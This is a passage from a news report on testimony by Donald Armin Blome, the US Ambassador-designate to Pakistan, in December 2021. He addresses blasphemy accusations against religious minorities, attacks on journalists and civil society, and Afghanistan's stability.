have led to many deaths. If confirmed, I will speak out against violations of human rights and religious freedom," said Blome. #WATCH| Religious minorities in Pak have long faced discrimination including accusations of blasphemy. Accusations have undermined rule of law, threatened mob rule & deeply damaged Pak's intl reputation & have led to many deaths: US Ambassador-designate to Pak Donald Armin Blome pic.twitter.com/P5aPWxH3Rm ANI (@ANI) December 14, 2021 He also shared his thoughts on the kidnappings, assaults, and enforced disappearances of Pakistani journalists. "Pakistani journalists and members of civil society face kidnappings, assaults, intimidation and disappearances. I will advocate for expanded protections for freedom of association and assembly, and will meet with civil society partners regularly," added Blome. He further reiterated his support for local groups and individuals who are often courageously leading these fights on the ground."I would certainly use my position to speak publicly along with my engagements at senior levels of the Pakistani government to make clear US government priorities and values with regards to human rights and personal freedoms. Beyond that, I think it's also very important to work with local groups and individuals who are often courageously leading these fights on the ground. And I would look for ways that we can continue to support those groups and strengthen our support for those groups and those voices to make them more effective in leading the movement for change in Pakistan," said Blome. He also talked about Afghanistan and said that Pakistan has a shared interest in ensuring that the war-torn country does not once again become host to terrorist groups and a contributor to regional instability."Mission Pakistan also plays an important role in encouraging an inclusive Afghan government that respects and promotes the human rights of all individuals, including women and girls, members of minority groups, and ensuring that Afghanistan never again becomes a safe haven for international terrorism," said Blome. Blome, who is currently the US Ambassador to Tunisia, has served US diplomatic missions in Kabul, Jerusalem, Cairo, Baghdad and Kuwait. Live TV